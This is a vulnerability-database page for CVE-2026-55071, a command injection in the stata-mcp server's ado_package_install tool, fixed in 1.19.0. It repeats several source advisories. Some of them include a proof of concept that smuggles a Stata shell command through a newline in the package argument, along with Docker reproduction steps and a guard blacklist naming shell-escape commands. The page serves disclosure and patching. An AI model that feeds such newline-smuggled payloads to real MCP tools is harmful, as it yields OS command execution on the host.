Every CVE Search/ Get API key

CVE-2026-55071

MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`

8.4 HighFix available

MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.25%Down 0.2 points since Sep 22, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.4

MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`

MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.

Record
CVE-2026-55071
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
EUVDEUVD-2026-83921 8.4

MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.

Record
EUVD-2026-83921
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-49m4-vp58-wgc9 8.4

MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`

Stata Command Injection via Unsanitized package in ado_package_install

Summary

The ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. Base CVSS score is 8.4 (High).

Details

The vulnerability originates in SSC_Install.install():

# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16
def install(self, package: str) -> str:
    install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
    runner_result = self.controller.run(install_command)

The package parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:

# src/stata_mcp/stata/stata_controller/controller.py:98-99
# Send the command
self.child.sendline(command)

pexpect.sendline() writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's shell (and !) commands execute an OS shell command, a newline-delimited payload results in OS command execution.

The full source-to-sink data flow is:

  1. Exposure — src/stata_mcp/mcp_servers.py:626-632: _TOOL_REGISTRY registers ado_package_install in the all profile.
  2. Default activation — src/stata_mcp/cli/_handlers.py:295-300: when no --core/--all flag is given the profile defaults to all, so the tool is always enabled.
  3. Propagation — src/stata_mcp/mcp_servers.py:308-349: the MCP argument package is passed to installer(...).install(*args) without validation.
  4. Sink construction — src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15: package is interpolated into install_command.
  5. Delivery — src/stata_mcp/stata/stata_controller/controller.py:99: self.child.sendline(command) sends the attacker-influenced string to Stata.

A guard/blacklist (src/stata_mcp/guard/blacklist.py:41-60) registers shell, !, winexec, unixcmd, and similar strings as dangerous commands, but the GuardValidator that enforces this list is invoked only on the stata_do path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.

PoC

Prerequisites

  • Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (fake_stata.py) that honours the shell command.

Container-based reproduction (no Stata license required)

# Build (run from the repository root)
docker build -t stata-mcp-poc-001 \
    -f vuln-001/Dockerfile \
    reports/pypiAi_828_SepineTam__stata-mcp/

# Run
docker run --rm stata-mcp-poc-001

Direct Python trigger (unmodified source)

import os
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install

MARKER = "/tmp/stata_mcp_ado_poc"
PAYLOAD = f"outreg2\nshell touch {MARKER}\n//"

installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10)
installer.install(PAYLOAD)

assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")

The payload "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//" is expanded by the f-string at ssc_install.py:15 into:

ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace

Stata executes the second line as an OS shell command. The trailing // comment neutralises the , replace suffix so…

Record
GHSA-49m4-vp58-wgc9
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
NVD 8.4

MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.

Record
CVE-2026-55071
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSV 8.4

MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`

MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.

Record
CVE-2026-55071
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSVGHSA-49m4-vp58-wgc9 8.4

MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`

Stata Command Injection via Unsanitized package in ado_package_install

Summary

The ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. Base CVSS score is 8.4 (High).

Details

The vulnerability originates in SSC_Install.install():

# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16
def install(self, package: str) -> str:
    install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
    runner_result = self.controller.run(install_command)

The package parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:

# src/stata_mcp/stata/stata_controller/controller.py:98-99
# Send the command
self.child.sendline(command)

pexpect.sendline() writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's shell (and !) commands execute an OS shell command, a newline-delimited payload results in OS command execution.

The full source-to-sink data flow is:

  1. Exposure — src/stata_mcp/mcp_servers.py:626-632: _TOOL_REGISTRY registers ado_package_install in the all profile.
  2. Default activation — src/stata_mcp/cli/_handlers.py:295-300: when no --core/--all flag is given the profile defaults to all, so the tool is always enabled.
  3. Propagation — src/stata_mcp/mcp_servers.py:308-349: the MCP argument package is passed to installer(...).install(*args) without validation.
  4. Sink construction — src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15: package is interpolated into install_command.
  5. Delivery — src/stata_mcp/stata/stata_controller/controller.py:99: self.child.sendline(command) sends the attacker-influenced string to Stata.

A guard/blacklist (src/stata_mcp/guard/blacklist.py:41-60) registers shell, !, winexec, unixcmd, and similar strings as dangerous commands, but the GuardValidator that enforces this list is invoked only on the stata_do path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.

PoC

Prerequisites

  • Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (fake_stata.py) that honours the shell command.

Container-based reproduction (no Stata license required)

# Build (run from the repository root)
docker build -t stata-mcp-poc-001 \
    -f vuln-001/Dockerfile \
    reports/pypiAi_828_SepineTam__stata-mcp/

# Run
docker run --rm stata-mcp-poc-001

Direct Python trigger (unmodified source)

import os
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install

MARKER = "/tmp/stata_mcp_ado_poc"
PAYLOAD = f"outreg2\nshell touch {MARKER}\n//"

installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10)
installer.install(PAYLOAD)

assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")

The payload "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//" is expanded by the f-string at ssc_install.py:15 into:

ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace

Stata executes the second line as an OS shell command. The trailing // comment neutralises the , replace suffix so…

Record
GHSA-49m4-vp58-wgc9
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSVPYSEC-2026-3700 8.4

MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`

Stata Command Injection via Unsanitized package in ado_package_install

Summary

The ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. Base CVSS score is 8.4 (High).

Details

The vulnerability originates in SSC_Install.install():

# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16
def install(self, package: str) -> str:
    install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
    runner_result = self.controller.run(install_command)

The package parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:

# src/stata_mcp/stata/stata_controller/controller.py:98-99
# Send the command
self.child.sendline(command)

pexpect.sendline() writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's shell (and !) commands execute an OS shell command, a newline-delimited payload results in OS command execution.

The full source-to-sink data flow is:

  1. Exposure — src/stata_mcp/mcp_servers.py:626-632: _TOOL_REGISTRY registers ado_package_install in the all profile.
  2. Default activation — src/stata_mcp/cli/_handlers.py:295-300: when no --core/--all flag is given the profile defaults to all, so the tool is always enabled.
  3. Propagation — src/stata_mcp/mcp_servers.py:308-349: the MCP argument package is passed to installer(...).install(*args) without validation.
  4. Sink construction — src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15: package is interpolated into install_command.
  5. Delivery — src/stata_mcp/stata/stata_controller/controller.py:99: self.child.sendline(command) sends the attacker-influenced string to Stata.

A guard/blacklist (src/stata_mcp/guard/blacklist.py:41-60) registers shell, !, winexec, unixcmd, and similar strings as dangerous commands, but the GuardValidator that enforces this list is invoked only on the stata_do path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.

PoC

Prerequisites

  • Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (fake_stata.py) that honours the shell command.

Container-based reproduction (no Stata license required)

# Build (run from the repository root)
docker build -t stata-mcp-poc-001 \
    -f vuln-001/Dockerfile \
    reports/pypiAi_828_SepineTam__stata-mcp/

# Run
docker run --rm stata-mcp-poc-001

Direct Python trigger (unmodified source)

import os
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install

MARKER = "/tmp/stata_mcp_ado_poc"
PAYLOAD = f"outreg2\nshell touch {MARKER}\n//"

installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10)
installer.install(PAYLOAD)

assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")

The payload "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//" is expanded by the f-string at ssc_install.py:15 into:

ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace

Stata executes the second line as an OS shell command. The trailing // comment neutralises the , replace suffix so…

Record
PYSEC-2026-3700
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
stata-mcp
PyPI
before 1.19.0
1.19.0
stata-mcp
PyPI
before 1.19.0, plus listed versions
0.1.01.10.01.10.11.10.21.11.0
Show 45 moreShow less
1.11.11.12.01.12.11.13.01.13.11.13.101.13.111.13.121.13.131.13.141.13.151.13.161.13.171.13.181.13.191.13.21.13.201.13.211.13.221.13.231.13.241.13.251.13.261.13.271.13.281.13.291.13.31.13.301.13.311.13.321.13.331.13.341.13.351.13.361.13.371.13.381.13.391.13.41.13.401.13.411.13.421.13.51.13.61.13.71.13.8
1.19.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-55071 is a high vulnerability (CVSS 8.4) in Sepinetam Mcp-for-stata, published August 12, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in stata-mcp 1.19.0.

References

This page doesn't list everything

Left out here: 45 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open